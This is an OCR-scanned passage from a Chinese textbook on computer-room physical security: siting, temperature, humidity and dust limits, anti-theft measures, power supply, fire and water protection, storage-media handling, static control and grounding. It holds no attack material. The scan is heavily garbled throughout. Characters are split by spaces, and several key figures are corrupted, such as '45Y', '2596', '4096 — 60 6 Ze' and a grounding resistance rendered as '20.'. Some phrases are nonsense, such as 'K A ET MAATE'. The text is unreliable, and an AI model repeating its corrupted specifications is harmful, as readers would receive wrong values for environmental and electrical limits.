而 顶层 有 漏 雨 、 穿 窗 而 人 的 危险 。 

(4) 应 该 尽量 选择 电力 和 水 源 充足 、 环 境 清河、 交通 和 通信 方便 的 地 方 。 

C5) 对 于 机 要 部 门 信息 系统 的 机 房 , 还 应 考虑 机 房 中 的 信息 射频 不 易 被 泄露 和 窃取 。 

(6) 机 房 方圆 100m 内 不 能 有 危险 建筑 物 ,如 加 油 站 ,煤气 站 、 天 然 气 或 煤气 管道 和 散 
发 有 强烈 腐蚀 气体 的 设施 .工厂 等 。 

(7) 电梯 和 楼 梯 不 能 直接 进入 机 房 。 

(8) 建筑 物 周围 应 有 足够 亮度 的 照明 设施 和 防止 非法 进入 的 设施 。 

(9) 外 部 容易 接近 的 进出 口 , 如 风 道 口 、 排 风口 、 窗 户 、 应 急 门 等 应 有 栅栏 或 监控 措施 ， 
必要 时 安装 自动 报警 设备 。 


4. 计算 机 机 房 内 部 环境 要 求 


对 计算 机 机 房 的 内 部 环境 有 如 下 要 求 。 

(1) 机 房 应 辟 为 专用 和 独立 的 房间 。 

(2) 经 常 使 用 的 进出 口 应 限于 一 处 ,以 便于 出 入 管理 。 

(3) 机 房 内 应 留 有 必要 的 空间 ,其 目的 是 确保 灾害 发 生 时 人 员 和 设备 的 撤离 和 维护 。 

(4) 在 较 大 的 楼 层 内 ,计算 机 机 房 应 靠近 楼 梯 的 一 边 。 这 样 既 便于 安全 警卫 ,又 利于 在 
发 生火 灾 险 情 时 的 转移 撤离 。 

(5) 应 当 保证 所 有 进出 计算 机 机 房 的 人 都 必须 在 管理 人 员 的 监控 之 下 。 外 来 人 员 一 般 
不 允许 进入 机 房 内 部 ,对 于 在 特殊 情况 下 需要 进入 机 房 内 部 的 人 员 ,应 办 理 相关 手续 ,并 对 
来 访 者 的 随身 物品 进行 相应 的 检查 。 
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(6) 机 房 供 电 系统 应 将 动力 照明 用 电 与 计算 机 系统 供电 线路 分 开 , 机 房 及 下 散 通道 要 
安装 应 急 照 明 装置 。 

(7) 照明 应 达到 规定 标准 。 

另外 ,采用 物理 防护 手段 ,建立 物理 屏障 ,阻止 非法 入 侵 接近 计算 机 系统 ,是 行 之 有 效 的 
防护 措施 ,这 些 措施 有 出 入 识别 .区 域 隔离 和 边界 防护 等 。 出 入 识别 已 从 早期 的 专人 值守 、 
验证 口令 等 发 展 为 密码 锁 \ 磁 卡 识别 、 指 纹 识别 ,视网膜 识别 和 语音 识别 等 多 种 手段 的 身份 
识别 措施 。 区 域 隔 离 和 边界 防护 是 将 重要 的 计算 机 系统 周围 构造 安全 警戒 区 ,边界 设置 障 
碍 ,区 内 采取 重点 防范 ,甚至 昼夜 警戒 ,将 入 侵 者 阻拦 在 警戒 区 以 外 。 


5. 计算 机 机 房 环境 温度 要 求 


计算 机 的 电子 元 器 件 .芯片 都 密封 在 机 箱 中 ,有 的 芯片 工作 时 表面 温度 相当 高 ,一 般 电 
子 元 器 件 工 作 温 度 的 范围 是 0 一 45Y ,统计 数据 表明 , 当 环境 温度 超过 规定 范围 (60"C ) 时 ， 
计算 机 系统 就 不 能 正常 工作 ,温度 每 升 高 10'C ,电子 元 器 件 的 可 靠 性 就 会 降低 2596. 7688 
件 可 靠 性 降低 无 疑 将 影响 计算 机 的 正确 运算 ,影响 结果 的 正确 性 。 

温度 对 磁 介 质 的 磁 导 率 影响 很 大 ,温度 过 高 或 过 低 都 会 使 磁 导 率 降低 ,影响 磁头 读 写 的 
正确 性 。 温 度 变化 还 会 使 磁带 、 磁 盘 表 面 热 胀 冷 缩 发 生变 化 ,造成 数据 的 读 写 错误 ,影响 信 
息 的 正确 性 。 温 度 过 高 会 使 插头 插座、 计算 机 主板 .各 种 信号 线 腐蚀 速度 加 快 ,容易 造成 接 
触 不 良 ,温度 过 高 也 会 使 显示 器 各 线圈 骨架 尺寸 发 生变 化 ,使 图 像 质量 下 降 。 温 度 过 低 会 使 
绝缘 材料 变 硬 、 变 脆 ,使 漏电 电流 增 大 ,使 磁 记 录 媒 体 性 能 变 差 ,同时 也 会 影响 显示 器 的 正常 
工作 。 在 有 条 件 的 情况 下 ,最 好 将 计算 机 放置 在 有 空调 的 房间 内 。 机 房 温度 最 好 控制 在 
15'C—35'Cz [B] . 


6. 计算 机 机 房 环境 湿度 要 求 


放置 计算 机 的 房间 内 ,湿度 最 好 保持 在 4096 — 60 6 Ze [8] ,湿度 过 高 或 过 低 对 计算 机 的 
可 靠 性 与 安全 性 都 有 影响 。 

(1) 湿度 过 高 

当 相 对 湿度 超过 70% 时 ,会 在 元 器 件 的 表面 附着 一 层 很 薄 的 水 膜 , 使 计算 机 内 的 元 器 
件 受 潮 变质 ,会 造成 元 器 件 各 引 脚 之 间 的 漏电 ,出 现 电弧 现象 ,甚至 会 发 生 短路 而 损坏 机 器 。 

当 水 膜 中 含有 杂质 时 ,它们 会 附着 在 元 器 件 引 脚 .导线 ,接头 表面 ,会 造成 这 些 表面 发 霉 
和 触 点 腐蚀 ,引起 电气 部 分 绝缘 性 能 下 降 。 湿 度 过 大 还 会 使 灰尘 的 导电 性 能 增强 ,电子 器 件 
失效 的 可 能 性 也 随 之 增 大 。 

湿度 过 高 ,打印 纸 会 吸 潮 变 厚 . 也 会 影响 正常 的 打印 操作 。 

(2) 湿度 过 低 

相对 湿度 不 能 低 于 20% ,否则 会 因 过 分 干燥 而 产生 静电 干扰 ,引起 计算 机 的 错误 动作 。 

另外 ,相对 湿度 过 低 还 会 导致 计算 机 网 络 设备 中 的 某 些 元 器 件 龟 裂 , 印 制 电路 板 变 形 ， 
特别 是 静电 感应 增加 ,会 使 计算 机 内 存储 的 信息 丢失 或 异常 ,严重 时 还 会 导致 芯片 损坏 ,给 
计算 机 系统 带 来 严重 危害 。 

总 之 ,如 果 对 计算 机 运行 环境 没有 任何 控制 ,温度 与 湿度 高 低 交 替 大 幅度 变化 ,会 加 速 
对 计算 机 中 各 种 元 器 件 与 材料 的 腐蚀 与 破坏 ,严重 影响 计算 机 的 正常 运行 与 使 用 寿命 。 所 
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以 ,机 房 内 的 相对 湿度 最 好 控制 在 40% 一 60% 之 间 , 机 房 温 度 最 好 控制 在 15C —35'C Zl] 
湿度 控制 与 温度 控制 最 好 都 与 空调 联系 在 一 起 ,由 空调 系统 集中 控制 。 机 房 内 应 安装 温度 、 
湿度 显示 仪 ,以 便 随时 进行 观察 和 监测 。 


7. 计算 机 机 房 洁净 度 要 求 


洁净 度 是 对 悬浮 在 空气 中 尘埃 颗粒 的 大 小 与 含量 的 要 求 ,对 于 机 房 的 洁净 度 而 言 ,要 求 
尘埃 颗粒 直径 小 于 0. 5pm ,平均 每 升 空气 含 侍 量 少 于 1 万 颗 。 如 果 机 房 内 灰尘 过 多 ,会 缩短 
计算 机 的 寿命 。 

灰尘 对 计算 机 中 的 精密 机 械 装置 (如 光盘 驱动 器 ) 影 响 很 大 ,光盘 机 的 读 头 与 盘 片 之 间 
的 距离 很 小 ,在 高 速 旋转 过 程 中 ,各 种 灰尘 ,其 中 包括 纤维 性 灰尘 会 附着 在 盘 片 表 面 , 当 读 信 
号 的 时 候 , 可 能 探伤 盘 片 表面 或 者 磨损 读 头 ,造成 数据 读 写 错误 或 数据 丢失 。 

如 果 灰 侍 中 还 包括 导电 尘埃 和 腐蚀 性 尘埃 ,那么 它们 会 附着 在 元 器 件 与 电子 线路 的 表 
面 , 若 此 时 机 房 空气 湿度 较 大 ,会 造成 短路 或 腐蚀 裸露 的 金属 表面 。 灰 尘 在 元 器 件 表面 的 堆 
积 ,会 造成 接 插件 的 接触 不 良 发热 元 器 件 的 散热 能 力 降低 ,电气 元 器 件 的 绝缘 性 能 下 降 。 

因此 ,计算 机 机 房 必须 有 除尘 、 防 侍 的 设备 和 措施 ,保持 清洁 卫生 ,以 保证 设备 的 正常 工 
作 。 对 进入 机 房 的 新 鲜 空气 应 进行 一 次 或 两 次 过 滤 ,要 采取 严格 的 机 房 卫 生 制 度 ,降低 机 房 
灰尘 含量 。 

ER 5,6,7 条 , 合 起 来 称 为 机 房 * 三 度 ”( 温 度 、 湿 度 和 洁净 度 ) 要 求 , 所 以 ,为 保证 计算 机 
网 络 系统 的 正常 运行 ,要 根据 “三 度 ” 要 求 来 建设 维护 和 管理 机 房 。 

CD 制订 合理 的 清洁 卫生 制度 ,禁止 在 机 房 内 吸烟 , 吃 东西 , 乱 扔 瓜 果皮 、 纸 眉 。 

(2) 在 机 房 内 要 禁止 放 食物 ,以 防止 老鼠 或 其 他 昆虫 损坏 电源 线 和 记录 介质 等 设备 。 

(3) 机 房 内 严禁 存放 腐蚀 物质 ,以 防 计算 机 设备 受 大 气 腐蚀 、 电 化 腐蚀 或 直接 被 氧化 、 
腐蚀 、 生 锈 及 损坏 。 

CD 在 设计 和 建造 机 房 时 ,必须 考虑 到 震动 ,冲击 的 影响 ,还 需要 避免 各 种 干扰 (噪声 干 
扰 、 电 气 干扰 等 )。 


8. 计算 机 机 房 防盗 要 求 


在 机 房 中 服务 器 系统 的 磁盘 或 光盘 上 存放 着 重要 的 应 用 软件 .业务 数据 或 者 机 密 信息 
等 ,这 些 设 备 本 身 及 其 内 部 存储 的 信息 都 是 非常 重要 的 ,一 旦 丢失 或 被 盗 , 将 产生 极其 严重 
的 后 果 。 因 此 ,对 重要 的 设备 和 存储 介质 应 该 采取 严格 的 防盗 措施 。 

CD 增加 重量 和 胶 黏 

这 是 早期 主要 采取 的 防盗 措施 ,将 重要 的 计算 机 网 络 设备 永久 地 固定 或 黏 结 在 某 个 位 
置 上 。 虽 然 该 方法 增强 了 设备 的 防盗 能 力 , 但 是 却 给 设备 的 移动 或 调整 位 置 带 来 不 便 。 

(2) 加 锁 

将 设备 与 固定 底盘 用 锁 连 接 , 只 有 将 锁 打 开 才 可 移动 设备 。 比 如 某 些 笔记 本 式 计算 机 
采用 机 壳 加 锁 扣 的 防盗 方法 。 

(3) 光缆 

将 每 台 重要 的 设备 通过 光缆 串 接 起 来 ,并 使 光束 沿 光 纤 传 输 , 如 果 光 束 传输 受 阻 , 则 自 
动 报警 。 该 保护 装置 比较 简便 ,一 套装 置 可 以 保护 机 房 内 的 所 有 重要 设备 ,并 且 不 影响 设备 
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的 可 移动 性 。 

(4) 磁性 标签 

在 需要 保护 的 重要 设备 .存储 介质 和 硬件 上 贴 上 磁性 标签 , 当 有 人 非法 携带 这 些 重要 设 
备 或 物品 外 出 时 ,检测 器 就 会 发 出 报警 信号 。 

(5) 视频 监视 系统 

视频 监视 系统 能 对 计算 机 网 络 系统 的 外 围 环境 、 操 作 环 境 进 行 实 时 全 程 监控 ,是 一 种 更 
为 可 靠 的 防盗 设备 措施 。 

对 重要 的 机 房 , 还 应 采取 特别 的 防盗 措施 ,如 值班 守卫 、 出 入 口 安装 金属 探测 装置 等 。 


9. 计算 机 机 房 电源 要 求 


计算 机 对 电源 有 两 个 基本 要 求 : 电压 要 稳 .在 机 器 工作 时 供电 不 能 间断 。 

电压 不 稳 不 仅 会 对 显示 器 和 打印 机 的 工作 造成 影响 ,而 且 还 会 造成 磁盘 驱动 器 运行 不 
稳定 ,从 而 引起 数据 的 读 写 错误 。 

为 了 获得 稳定 的 电压 ,可 以 使 用 交流 稳 压 电源 。 

为 了 防止 突然 断 电 对 计算 机 工作 造成 影响 ,在 要 求 较 高 的 应 用 场合 ,应 该 装备 不 间断 供 
电 电源 (UPS) ,以 便 断 电 后 能 使 计算 机 继续 工作 一 小 段 时 间 ,使 操作 人 员 能 及 时 处 理 完 计算 
工作 或 保存 数据 。 


10. 计算 机 机 房 电 气 干扰 


电气 干扰 是 指 电 网 电压 和 计算 机 内 外 的 电磁 场 引 起 的 干扰 。 

常见 的 电气 干扰 是 指 电 压 的 瞬间 较 大 幅度 的 变化 、 突 发 的 尖 脉 冲 或 电压 不 足 甚至 掉 电 。 
例如 ,计算 机 机 房 内 使 用 较 大 功率 的 吸尘器 .电钻 ,机 房 外 使 用 电 锯 、 电 焊 机 等 大 用 电量 设 
备 , 这 些 情 况 都 容易 在 附近 的 计算 机 电源 中 产生 电气 噪声 信号 干扰 。 

这 些 干扰 一 般 容易 破坏 信息 的 完整 性 ,有 时 还 会 损坏 计算 机 设备 。 

防止 电气 干扰 的 办 法 是 采用 稳 压 电源 或 不 间断 电源 ,为 了 防止 突 发 的 电源 尖 脉 冲 ,对 电 
源 还 要 增加 滤波 和 隔离 措施 。 

另外 , 当 计算 机 正在 工作 时 ,在 机 房 内 应 尽量 避免 使 用 电炉 .电视 或 其 他 强 电 设备 ,空调 
设备 的 供电 系统 与 计算 机 供电 系统 应 是 相对 独立 的 系统 。 

对 计算 机 正常 运转 影响 较 大 的 电磁 干扰 是 静电 干扰 与 周边 环境 的 强 电 磁场 干扰 。 由 于 
计算 机 中 的 芯片 大 部 分 都 是 MOS (金属 氧化 物 半 导体 ) 器 件 ,静电 电压 过 高 会 破坏 这 些 
MOS 器 件 , 据 统计 ,50% 以 上 的 计算 机 设备 的 损害 直接 或 间接 与 静电 有 关 。 

防 静 电 的 主要 方法 有 以 下 两 种 : 

(1) 机 房 应 该 按 防 静电 要 求 装修 ,比如 使 用 防 静电 地 板 。 

C2) 整个 机 房 应 该 有 一 个 独立 的 和 良好 的 接地 系统 ,机 房 中 各 种 电气 和 用 电 设 备 都 接 
在 统一 的 地 线 上 。 

周边 环境 的 强 电 磁场 干扰 主要 指 可 能 的 无 线 电 发 射 装置 .微波 线路 、 高 压 线路 .电气 化 
铁路 ,大 型 电机 、 高 频 设 备 等 产生 的 强 电磁 干扰 。 这 些 强 电磁 干扰 轻 则 会 使 计算 机 工作 不 稳 
定 , 重 则 对 计算 机 造成 损坏 。 
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11. 计算 机 机 房 防火 要 求 


引起 计算 机 机 房 火灾 的 原因 一 般 有 : 电气 原因 .人 为 事故 和 外 部 火灾 蔓延 。 

(1) 电气 原因 

这 是 指 电气 设备 和 线路 的 短路 .过载 .接触 不 良 、 绝 缘 层 破损 或 静电 等 原因 导致 电 打 火 
而 引起 的 火灾 。 

(2) 人 为 事故 

由 于 计算 机 机 房 人 员 不 慎 , 吸 烟 并 且 乱 扔 烟头 等 不 良 习惯 ,使 充满 易 燃 物质 的 机 房 
起 火 。 

G) 外 部 火灾 蔓延 

这 是 指 因 外 部 房间 或 其 他 建筑 物 起 火 蔓延 到 机 房 而 引起 机 房 起 火 。 

机 房 内 应 有 防火 措施 。 如 机 房 内 应 有 火灾 自动 报警 系统 ,机 房 内 应 放置 适用 于 计算 机 
机 房 的 灭火 器 ,并 建立 应 急 计 划 和 防火 制度 等 。 为 避免 火灾 应 采取 如 下 具体 措施 。 

(1) 隔离 

计算 机 机 房 四 周 应 该 设计 一 个 隔离 带 。 系 统 中 特别 重要 的 设备 应 该 尽量 与 人 员 频 繁 出 
入 的 地 区 和 堆积 易 燃 物 的 区 域 隔 离 。 所 有 机 房 的 房 门 应 该 为 防火 门 , 外 层 要 有 金属 蒙 皮 。 
机 房 内 部 应 用 阻 燃 材料 装修 。 

(2) 火灾 报警 系统 

火灾 报警 系统 的 作用 是 在 火灾 初期 就 能 检测 到 并 及 时 发 出 警报 。 火 灾 报 警 系统 按 传 感 
器 的 不 同 , 分 为 烟 报警 和 热 敏 式 温度 报警 两 种 类 型 。 

烟 报 警 器 在 火灾 开始 的 发 烟 阶段 就 会 检测 出 火灾 ,并 发 出 警报 。 它 的 动作 快 , 可 使 火灾 
及 时 被 发 觉 。 

热 敏 式 温度 报警 器 是 在 火灾 发 生 , 温 度 升 高 后 发 出 报警 信号 。 

近年 来 还 开发 出 一 种 新 型 的 CD 探测 报警 器 , 它 在 发 烟 初 期 即 可 探测 到 火灾 的 发 生 , 避 
免 损失 ,上 且 可 避免 人 员 因 缺 氧 而 死亡 。 

为 安全 起 见 ,机房 应 配备 多 种 火灾 自动 报警 系统 ,并 保证 在 断 电 后 24h 之 内 仍 能 发 出 警 
报 。 报 警 器 可 以 采用 音响 或 灯光 报警 ,一 般 安 放 在 值班 室 或 人 员 集 中 处 ,以 便 工作 人 员 及 时 
发 现 并 向 消防 部 门 报告 .组织 人 员 疏 散 等 。 

(3) 灭火 设施 

计算 机 机 房 内 应 该 配置 灭火 器 材 , 机 房 所 在 楼 层 应 该 备 有 防火 栓 、 灭 火器 材 和 工具 ,这 
些 设施 应 具有 明显 的 标记 , 且 需 要 定期 检查 。 主 要 的 消防 器 材 和 工具 包括 以 下 两 大 类 。 

(OD 灭火 器 。 虽 然 机 房 建筑 内 要 求 有 自动 喷 水 、 供 水 系统 和 各 种 灭火 器 ,但 并 不 是 任何 
机 房 火灾 都 可 以 自动 晓 水 的 ,因为 有 时 对 设备 的 二 次 破坏 比 火灾 本 身 造 成 的 损坏 更 为 严重 。 
因此 ,灭火 器 材 最 好 使 用 气体 灭火 器 ,推荐 使 用 不 会 造成 二 次 污染 的 讽 代 烧 1211 或 1301 X 
火器 ,如 无 条 件 ,也 可 使 用 CO, 灭火 器 。 同 时 ,还 应 有 手持 式 灭火 器 ,用 于 大 设备 灭火 。 

@ 灭火 工具 及 辅助 设备 。 液 压 千 斤 顶 .手提 式 锯 K A ET MAATE. 

(4) 管理 措施 

机 房 应 制订 完善 的 应 急 计 划 和 相关 制度 ,并 严格 执行 计算 机 机 房 环境 和 设备 维护 的 各 
项 规章 制度 。 加 强 对 火灾 隐患 部 位 的 检查 ,如 电源 线路 要 经 常 检查 是 否 有 短路 处 ,防止 出 现 
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火花 引起 火灾 。 要 制订 灭火 的 应 急 计 划 并 对 所 属 人 员 进 行 培训 。 此 外 还 应 定期 对 防火 设施 
和 工作 人 员 的 掌握 情况 进行 测试 。 


12. 计算 机 机 房 防 水 要 求 


计算 机 机 房 的 水 灾情 况 一 般 是 由 机 房 内 渗水 ,漏水 等 原因 引起 的 。 因 此 ,机 房 内 应 该 有 
防水 措施 。 比 如 机 房 内 应 该 有 水 灾 自 动 报警 系统 ,还 应 该 有 排水 装置 ,另外 ,如 果 机 房 上 层 
有 用 水 设施 , 则 需要 加 防水 层 。 


2.3 设备 安全 


计算 机 信息 系统 的 硬件 设备 一 旦 被 损坏 又 不 能 及 时 修复 ,不 仅 会 造成 经 济 损失 ,而 且 可 
能 导致 整个 系统 瘫痪 ,产生 严重 的 后 果 。 因 此 ,必须 加 强 对 计算 机 信息 系统 硬件 设备 的 使 用 
管理 ,坚持 做 好 硬件 设备 的 日 常 维护 和 保养 工作 。 


1. 硬件 设备 的 使 用 管理 


(1) 要 根据 硬件 设备 的 具体 配置 情况 ,制订 切实 可 行 的 硬件 设备 操作 使 用 规程 ,并 严格 
按 操作 规程 进行 操作 。 

(2) 建立 设备 使 用 情况 日 志 ,并 严格 登记 使 用 过 程 中 出 现 的 情况 。 

(3) 建立 硬件 设备 故障 情况 登记 表 ,详细 记录 故障 性 质 和 修复 情况 。 

(4) 坚持 对 设备 进行 例 行 维护 和 保养 ,并 指定 专人 负责 。 


2. 常用 硬件 设备 的 维护 和 保养 


常用 硬件 设备 的 维护 和 保养 包括 以 下 几 部 分 : 

CD 对 主机 、 显 示 器 .打印 机 、 硬 盘 的 维护 保养 。 

(2) 对 网 络 设备 ,如 Modem、HUB、 交 换 机 、 路 由 器 .网 络 线 缆 、RJ-45 接头 等 的 维护 
保养 。 

(3) 对 供电 系统 的 各 种 保护 装置 以 及 地 线 进 行 定期 检查 。 

所 有 计算 机 信息 系统 的 设备 都 应 当 置 于 上 锁 且 有 空调 的 房间 里 ,还 要 将 对 设备 的 物理 
访问 权限 限制 在 最 小 范围 内 。 


3. 信息 存储 介质 的 安全 管理 


计算 机 系统 的 信息 存储 在 某 种 存储 介质 上 ,常用 的 存储 介质 有 了 磁带、 硬盘 .光盘 .打印 纸 
等 。 对 存储 介质 的 安全 管理 主要 包括 以 下 几 方 面 : 

CD 存放 有 业务 数据 或 程序 的 磁盘 、 磁 带 或 光盘 ,应 妥善 保管 ,必须 注意 防磁 、 防 潮 、 防 
火 和 防盗 。 

(2) 对 硬盘 上 的 数据 ,要 建立 有 效 的 级 别 . 权 限 , 并 严格 管理 ,必要 时 要 对 数据 进行 加 
密 , 以 确保 硬盘 数据 的 安全 。 

(3) 存放 业务 数据 或 程序 的 磁盘 、 磁 带 或 光盘 ,管理 必须 落实 到 人 ,并 分 类 建立 登记 德 ， 
记录 编号 .名 称 、 用 途 、 规 格 、 制 作 日 期 有 效 期 .使 用 者 、 批 准 者 等 信息 。 
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(4) 对 存放 有 重要 信息 的 磁盘 、 磁 带 、 光 盘 , 要 备份 两 份 并 分 两 处 保管 。 

(5) 打印 有 业务 数据 或 程序 的 打印 纸 ,要 视 同 档案 进行 管理 。 

(6) 对 需要 长 期 保存 的 有 效 数据 ,应 在 磁盘 、 磁 带 、 光 盘 的 质量 保证 期 内 进行 转 储 , 转 储 
时 应 确保 内 容 正 确 。 

CD). 凡 超 过 数据 保存 期 的 磁盘 、 磁 带 、 光 盘 , 必 须 经 过 特殊 的 数据 清除 处 理 , 视 同 空白 磁 
盘 、 磁 带 、 光 盘 。 

(8) 凡 不 能 正常 记录 数据 的 磁盘 .磁带 .光盘 ,必须 经 过 测试 确认 后 由 专人 进行 销毁 ,并 
做 好 登记 工作 。 


2.4 供电 系统 安全 


电源 是 计算 机 网 络 系统 的 命脉 ,电源 系统 的 稳定 可 靠 是 计算 机 网 络 系统 正常 运行 的 先 
决 条 件 。 电 源 系统 电压 的 波动 . 浪 涌 电 流 和 突然 断 电 等 意外 情况 的 发 生还 可 能 引起 计算 机 
系统 存储 信息 的 丢失 ,存储 设备 的 损坏 等 情况 的 发 生 ,电源 系统 的 安全 是 计算 机 系统 物理 安 
全 的 一 个 重要 组 成 部 分 。 因 此 ,为 保证 计算 机 及 其 网 络 系统 的 正常 工作 ,首先 要 保证 正常 供 
电 。 通 过 一 系列 的 保护 措施 ,如 采用 稳 压 电源 .不 间断 电源 ,应急 发 电 设备 等 。 

电源 系统 安全 不 仅 包括 外 部 供电 线路 的 安全 ,更 重要 的 是 指 室内 电源 设备 的 安全 。 


1. 电源 对 用 电 设备 安全 的 潜在 威胁 


理想 的 直流 电源 应 提供 纯净 的 直流 ,然而 总 有 一 些 干扰 存在 ,比如 在 开关 电源 输出 端口 
登 加 的 脉动 电流 和 高 频 振荡 。 这 两 种 干扰 再 加 上 电源 本 身 产生 的 尖峰 噪声 使 电源 出 现 断 续 
和 随意 的 漂移 。 另 外 ,电磁 干扰 会 产生 电磁 兼容 性 问题 , 当 电源 的 电磁 干扰 比较 强 时 ,其 产 
生 的 电磁 场 就 会 影响 到 硬盘 等 磁性 存储 介质 ,久而久之 就 会 使 存储 的 数据 受到 损害 。 电 磁 
干扰 还 可 以 通过 设备 的 电源 端子 传导 发 射 , 造 成 电网 的 污染 。 信 息 设备 在 工作 时 也 会 向 空 
间 辐 射电 磁 波 ,这 构成 了 对 其 他 设备 的 扰乱 ,特别 是 对 无 线 接收 设备 的 影响 很 大 。 

此 外 , 当 电 源 输出 的 直流 电压 中 摊 杂 了 过 多 的 交流 成 分 时 ,就 会 使 主板 、 内 存 、 显 卡 等 半 
导体 元 器 件 不 能 正常 工作 。 而 且 当 市 电 有 较 大 波动 时 ,电源 输出 电压 会 产生 大 的 变化 ,还 有 
可 能 导致 计算 机 和 网 络 设备 重新 启动 或 不 能 正常 工作 。 


2. 电力 能 源 的 可 靠 供 应 


为 了 确保 电力 能 源 的 可 靠 供应 ,以 防 外 部 供电 线路 发 生意 外 故障 ,必须 有 详细 的 应 急 预 
案 和 可 靠 的 应 急 设 备 。 应 急 设 备 主要 包括 : 备用 发 电机 、 大 容量 蓄电池 和 UPS 等 。 除 了 要 
求 这 些 应 急电 源 设备 具有 高 可 靠 性 外 ,还 要 求 它们 具有 较 高 的 自动 化 程度 和 良好 的 可 管理 
性 ,以 便 在 意外 情况 发 生 时 可 以 保证 电源 的 可 靠 供应 。 


3. 防 静电 措施 


不 同 物体 间 的 相互 摩擦 ,接触 会 产生 能 量 不 大 但 电压 非常 高 的 静电 。 如 果 静 电 不 能 及 
时 释放 出 去 ,就 可 能 产生 火花 ,容易 造成 火灾 或 损坏 芯片 等 意外 事故 。 计 算 机 系统 的 CPU. 
ROM, RAM 等 关键 部 件 大 都 采用 MOS 工艺 的 大 规模 集成 电路 ,对 静电 极为 敏感 ,容易 
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静电 而 损坏 。 

静电 对 电子 设备 的 损害 具有 如 下 特点 。 

(1) 隐蔽 性 

人 体 不 能 直接 感知 静电 ,除非 发 生 静 电 放电 ,但 是 发 生 静 电 放电 人 体 也 不 一 定 能 有 电击 
的 感觉 ,这 是 因为 人 体感 知 的 静电 放电 电压 为 2 一 3kV, 所 以 静电 具有 隐蔽 性 。 

(2) 潜在 性 

有 些 电子 元 器 件 受到 静电 损伤 后 的 性 能 没有 明显 下 降 , 但 多 次 累加 放电 会 给 元 器 件 造 
成 内 伤 而 形成 隐患 。 因 此 ,静电 对 元 器 件 的 损伤 具有 潜在 性 。 

(3) 随机 性 

从 一 个 电子 元 器 件 生产 出 来 以 后 ,一 直到 它 损坏 以 前 ,时 刻 都 受到 静电 的 威胁 ,而 这 些 
静电 的 产生 也 具有 随机 性 。 其 损坏 过 程 也 具有 随机 性 。 

(4) 复杂 性 

静电 放电 损伤 的 失效 分 析 工 作 , 因 电子 产品 的 精 、 细 、 微 小 的 结构 特点 而 费时 、 费 事 、 费 
钱 , 要 求 较 高 的 技术 ,并 往往 需要 使 用 扫描 电镜 等 高 精密 仪器 。 即 使 如 此 ,有 些 静 电 损伤 现 
象 也 难以 与 其 他 原因 造成 的 损伤 加 以 区 别 , 使 人 误 把 静电 损伤 失效 当做 其 他 失效 。 这 在 对 
静电 放电 损害 未 充分 认识 之 前 ,常常 归 因 于 早期 失效 或 情况 不 明 的 失效 ,从 而 不 自觉 地 掩盖 
了 失效 的 真正 原因 。 所 以 ,静电 对 电子 元 器 件 损伤 的 分 析 具 有 复杂 性 。 

机 房 的 内 装修 材料 一 般 应 避免 使 用 挂 毯 . 地 毯 等 吸 尘 容易 产生 静电 的 材料 ,而 应 采用 
乙烯 材料 。 为 了 防 静 电 ,机房 一 般 要 安装 防 静电 地 板 ,并 将 地 板 和 设备 接地 以 便 将 设备 内 积 
聚 的 静电 迅速 释放 到 大 地 。 机 房 内 的 专用 工作 台 或 重要 的 操作 台 应 有 接地 平板 。 此 外 , 工 
作 人 员 的 服装 和 鞋 最 好 用 低 阻 值 的 材料 制作 ,机 房 内 应 保持 一 定 湿度 ,特别 是 在 干燥 季节 应 
适当 增加 空气 湿度 ,以 免 因 干 燥 而 产生 静电 。 


4. 接地 与 防震 要 求 


接地 与 防 雷 是 保护 计算 机 网 络 系统 和 工作 场所 安全 的 重要 安全 措施 。 

接地 是 指 整 个 计算 机 系统 中 各 处 电位 均 以 大 地 电位 为 零 参 考 电位 。 接 地 可 以 为 计算 机 
系统 的 数字 电路 提供 一 个 稳定 的 0V 参考 电位 ,从 而 可 以 保证 设备 和 人 身 的 安全 ,同时 也 是 
防止 电磁 信息 泄露 的 有 效 手段 。 

(1) 地 线 种 类 

O 保护 地 。 计 算 机 系统 内 的 所 有 电气 设备 均 应 接地 。 如 果 电 子 设 备 的 电源 线 绝缘 层 
损坏 而 漏电 时 ,设备 的 外 壳 可 能 带电 ,造成 人 身 和 设备 事故 。 因 而 必须 将 外 这 接地 ,以 使 外 
壳 上 积聚 的 电荷 迅速 排放 到 大 地 。 

保护 地 一 般 是 为 大 电流 泄 放 而 接地 。 我 国 规定 ,机 房 内 保护 地 的 接地 电阻 小 于 等 于 
4Q。 保 护 地 在 插头 上 有 专门 的 一 条 芯 线 ,由 电缆 线 连 接 到 设备 外 过 ,插座 上 对 应 的 芯 线 (地 
线 ) 引 出 与 大 地 相连 。 保 护 地 线 应 连接 可 靠 , 一 般 不 用 焊接 ,而 采用 机 械 压 紧 连 接 。 地 线 应 
足够 粗 ,至 少 应 为 4 号 AWG 铜 线 ,或 为 金属 带 线 。 

© 直流 地 。 直 流 地 又 称 为 逻辑 地 ,是 计算 机 系统 的 逻辑 参考 地 , 即 计 算 机 中 数字 电路 
的 低 电位 参考 地 。 数 字 电 路 只 有 “1” 和 “0” 两 种 状态 ,其 电位 差 一 般 为 3 一 5V。 随 着 超大 规 
模 集 成 电路 技术 的 发 展 ,电位 差 越 来 越 小 ,对 人 逻辑 地 的 接地 要 求 也 越 来 越 高 。 因 为 逻辑 
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地 (0) 的 电位 变化 直接 影响 到 数据 的 准确 性 。 直 流 地 的 接地 电阻 一 般 要 求 小 于 等 于 20. 

© 屏蔽 地 。 为 避免 计算 机 网 络 系统 各 种 设备 间 的 电磁 干扰 ,防止 电磁 信息 泄露 ,重要 
的 设备 和 重要 的 机 房 都 要 采取 适当 的 屏蔽 措施 , 即 用 金属 体 来 屏蔽 设备 或 整个 机 房 。 金 属 
体 称 为 屏蔽 机 柜 或 屏 项 室 。 屏 项 体 需 与 大 地 相连 ,形成 电气 通路 ,为 屏 项 体 上 的 电荷 提供 一 
条 低 阻 抗 的 泄 放 通路 。 屏 项 效果 的 好 坏 与 屏蔽 体 的 接地 密切 相关 ,一 般 屏蔽 地 的 接地 电阻 
要 求 小 于 等 于 49 。 

© 静电 地 。 机 房 内 人 体 本 身 、 人 体 在 机 房 内 的 运动 .设备 的 运行 等 均 可 能 产生 静电 。 
人 体 静 电 有 时 可 达 上 千 伏 ,人 体 与 设备 或 元 器 件 导 电 部 分 直接 接触 极 易 造 成 设备 损坏 ,而 设 
备 运 行 中 产生 的 静电 干扰 则 会 引起 设备 的 运行 故障 。 为 消除 静电 可 能 带 来 的 不 良 影响 , 除 
采取 如 测试 人 体 静 电 、 接 触 设备 前 先 触摸 地 线 、 泄 放电 荷 、 保 持 室内 一 定 的 温度 和 湿度 等 管 
